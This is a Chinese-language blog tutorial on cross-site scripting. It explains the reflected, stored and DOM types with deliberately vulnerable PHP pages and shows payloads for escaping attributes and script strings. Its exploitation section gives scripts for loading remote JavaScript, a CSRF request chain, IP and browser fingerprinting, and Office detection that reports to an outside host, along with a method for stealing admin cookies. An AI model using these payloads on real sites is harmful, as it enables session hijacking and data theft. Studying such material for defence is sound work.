keac's Bolg.

XSS 学习

字数统计: 3.8k阅读时长: 17 min
2019/12/23 Share

介绍

XSS(Cross Site Script,跨站脚本)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,跨站脚本攻击缩写为XSS。

本质

客户端代码注入漏洞,通常注入代码是js脚本

危害

  1. 盗取各类用户账号,如机器登录账号、用户网银账号、各类管理员账号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害者机器向其它网站发起攻击

分类

反射型 XSS(非持久型XSS)

非持久型XSS攻击是一次性的,仅对单次的页面访问产生影响。非持久型XSS攻击要求用户访问一个被攻击者篡改后的链接来诱使客户点击,比如这样的一段链接:www.loongten.com/?params=<script>alert(/xss/)</script>,用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击的目的。

攻击步骤

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

存储型 XSS

这种类型的XSS,危害比前一种大得多。比如一个攻击者在用户名中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

攻击步骤

  1. 攻击者将将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

DOM型 XSS

DOM(Document Object Model,文档对象模型)

这种类型则是利用非法输入来闭合对应的html标签。

比如,有这样的一个a标签:<a href='$var'></a>
乍看问题不大,可是当$var的内容变为 'οnclick='alert(/xss/) //,这段代码就会被执行。

攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM型XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

DOM型XSS 和 反射型 XSS 的区别:反射型XSS提交的数据会经过服务器,而DOM型XSS不会。

原理

我们来根据下面这段PhP代码来理解xss是为什么出现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<?php
/**
* Created by PhpStorm.
* User: keac wu
* Date: 2019/12/26 0012
* Time: 15:53
*/

$input= $_GET["xss"];
echo "$input";
?>

</body>
</html>

sdf

我们随便输入一个字符,看到可以正常的在浏览器上显示出来,在源代码里面也是原封不动的出来。
这时我们插入一端javascript代码来看看。

当我们把参数改为 <script>alert(1)</script>的时候,可以看到弹窗了一个对话框,这意味着这个站点存在xss漏洞。

sdf

可以在源代码里面看到,我们输入的参数被浏览器当成HTML标签来执行。

寻找XSS

寻找可控点

  1. 找到可控点,比如一段搜索参数,在提交或输入参数后翻阅源代码 我们输入的源数据是否被输出
  2. 看可控点是否可以闭合标签,尝试单引号双引号方式输入特殊字符尝试是否过滤
  3. 尝试输入一些会让程序报错的语句 比如单个 ' " < >
  4. 阅读代码找到可控点
  5. 找到可控点且可利用,但是有过滤,可尝试各种绕过方式去触发

常见触发方式

  1. html标签可直接输出 比如输入<img src=1> 可以直接看到图片信息
  2. script 标签里未过滤 比如搜索参数在json字符里,使用”就可以闭合
  3. 标签参数未过滤,比如<input value=“”> 在value没有过滤,可以直接闭合标签

Input

sdf

当文本框换成 input 时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<?php
/**
* Created by PhpStorm.
* User: keac wu
* Date: 2019/12/26 0012
* Time: 15:53
*/

$input= $_GET["xss"];
echo "<input type='text' value='$input'>"
?>

</body>
</html>

这个时候再尝试刚刚的poc,已经被转义不能弹出xss窗了

sdf

当然聪明的人已经发现了,可以通过 '><script>alert(1)</script> 来弹个窗

sdf

来分析下是为什么会出现这种情况。

sdf

在前面的input框后面多出了 '>,来看看源代码。

1
<input type='text' value=''><script>alert(1)</script>'>

我们用' 来截断了前面value的字符串,然后再加入 > 闭合了前面的标签,最后插入script。

但是这样很明显就可以看出来有问题,又没什么办法不让他多出后面的那个东西呢。

来尝试下 ' onclick="alert(1)" 打开来页面没用任何反应,也没看到弹窗,别急,我们点下input

sdf

alue值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

转义 嵌套js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
XSS
<?php
/**
* Created by PhpStorm.
* User: keac wu
* Date: 2019/12/26 0012
* Time: 15:53
*/

$input= $_GET["xss"];
echo htmlspecialchars("$input");
?>
<script type="text/javascript">
var a='<?php echo htmlspecialchars("$input") ?>';
console.log(a)
</script>

</body>
</html>

这种情况下,当我们直接输入 <script></script> 什么的标签的时候会被直接转义

sdf

这种时候我们就要尝试,看看单引号 双引号会不会被过滤,最后看到是单引号不会被过滤,而且只有单个单引号的时候会报错。

sdf

这种时候就可以利用了

';alert(1)//

sdf

sdf

更多的方式可以看下面的绕过姿势

在函数的情况下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
XSS 在函数情况情况下。。。<br>
<?php
/**
* Created by PhpStorm.
* User: keac wu
* Date: 2019/12/26 0012
* Time: 15:53
*/

$input= $_GET["xss"];
echo htmlspecialchars("$input");

?>
<input type="text" id="myInput" onclick="myFunction()">
<script type="text/javascript">

function myFunction() {
var a= '<?php echo htmlspecialchars("$input") ?>';
}

</script>

</body>
</html>

当我们利用上一种方式也是可以触发弹窗,但是每次都需要去点一下文本框

sdf

Payload

'};alert(1); function a(){//

sdf

使用这个payload,可以直接弹窗

我们首先用 '去截断了前面的字符串,然后拼接完整的函数,中间插入我们需要执行的代码:alert(1); 完成了这一步之后,因为源函数后面还有个},我们需要自己写个函数去完善掉 function a(){// ,并且把最后的单引号和分号结束掉,那么在页面一打开我们的函数就会被执行。

DOM 型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
XSS 在DOM的情况下。。。<br>

test
<script type="text/javascript">
var hash = location.hash;
if(hash){
var url = hash.substring(1);
location.href = url;
}
</script>

</body>
</html>

#javascript:alert(1);

这么一段也是可以造成XSS

所以在做尝试XSS之前,必须要找到一个可控点,才可以继续操作

绕过姿势

XSS 绕过姿势

利用

既然找到了xss点,我们怎么利用,来插入js代码

插入js代码

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等,配合上CSRF可以造成更严重的蠕虫攻击。

1
<script scr="js_url"></script>

还可以这样

1
<img src=x onerror=appendChild(createElement('script')).src='js_url' />

比如我们在网站的留言区输入<script scr=”js_url”></script>当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用修改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

当然了,还可以这样干

CSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function request(url, type, callback, send){
var oReq = new XMLHttpRequest();
oReq.open(type, url, true);
oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
oReq.onload = callback;
oReq.send(send);
};

function getListener () {
var el = document.createElement('div');
el.innerHTML = this.responseText;
request('csrf.php', 'POST', postListener, 'csrf_token=' + el.querySelector('input[name="csrf_token"]').value + '&update_profile=value');
};

function postListener(){
console.log(this.responseText)
};

request('csrf.php', 'GET', getListener);

获取ip地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
//firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;
//add same stun server for chrome
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}
//insert IP addresses into the page
getIPs(function(ip){
var li = document.createElement("li");
li.textContent = ip;
//local IPs
if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/))
// do something with PRIVATE IPs
//assume the rest are public IPs
else
// do something with PUBLIC IPs
});

获取浏览器信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
document.write('<P>'+navigator.appName+'</P>');
document.write('<P>'+navigator.appVersion+'</P>');
document.write('<P>'+navigator.platform+'</P>');
document.write('<P>'+navigator.userAgent+'</P>');

var plugins = navigator.plugins;
var mimeTypes = navigator.mimeTypes

document.write('<P>');
for (i=0;i<plugins.length;i++) {
var plugin = plugins[i];
document.write('<B>'+plugin.name+'</B><BR>');
document.write(plugin.filename+' - '+plugin.description+'<BR>');
for(j=0;j<plugin.length;j++) {
var mimetype = plugin[j];
document.write(mimetype.type);
if(mimetype.description) {
document.write(' : '+mimetype.description);
}
if(mimetype.suffixes) {
document.write(' - extentions: '+mimetype.suffixes);
}
document.write('<BR>');
}

}
document.write('</P>');

获取office信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
var ma = 1;
var mb = 1;
var mc = 1;
var md = 1;

try {
ma = new ActiveXObject("SharePoint.OpenDocuments.4")
} catch (e) {}

try {
mb = new ActiveXObject("SharePoint.OpenDocuments.3")
} catch (e) {}

try {
mc = new ActiveXObject("SharePoint.OpenDocuments.2")
} catch (e) {}

try {
md = new ActiveXObject("SharePoint.OpenDocuments.1")
} catch (e) {}

var a = typeof ma;
var b = typeof mb;
var c = typeof mc;
var d = typeof md;
var key = "No Office Found";

if (a == "object" && b == "object" && c == "object" && d == "object") {
key = "Office 2010"
}
if (a == "number" && b == "object" && c == "object" && d == "object") {
key = "Office 2007"
}
if (a == "number" && b == "number" && c == "object" && d == "object") {
key = "Office 2003"
}
if (a == "number" && b == "number" && c == "number" && d == "object") {
key = "Office Xp"
}

new Image().src = 'http://remote.com/log.php?office_version='+encodeURI(key);

工具利用

BEFF

Beef(The Browser Exploitation Framework Project)是WEB框架攻击平台。 Beef
利用简单的XSS漏洞,通过一段编写好的JavaScript(hook.js)控制目标主机的浏览器,
通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网。

(待更新)

参考资料

大佬分享的材料

xss payload

CATALOG
  1. 1. 介绍
    1. 1.1. 本质
    2. 1.2. 危害
  2. 2. 分类
    1. 2.1. 反射型 XSS(非持久型XSS)
    2. 2.2. 存储型 XSS
    3. 2.3. DOM型 XSS
  3. 3. 原理
  4. 4. 寻找XSS
    1. 4.1. 寻找可控点
    2. 4.2. 常见触发方式
      1. 4.2.1. Input
      2. 4.2.2. 转义 嵌套js
      3. 4.2.3. 在函数的情况下
      4. 4.2.4. DOM 型
  5. 5. 绕过姿势
  6. 6. 利用
    1. 6.1. 插入js代码
      1. 6.1.1. CSRF
      2. 6.1.2. 获取ip地址
      3. 6.1.3. 获取浏览器信息
      4. 6.1.4. 获取office信息
    2. 6.2. 工具利用
      1. 6.2.1. BEFF
  7. 7. 参考资料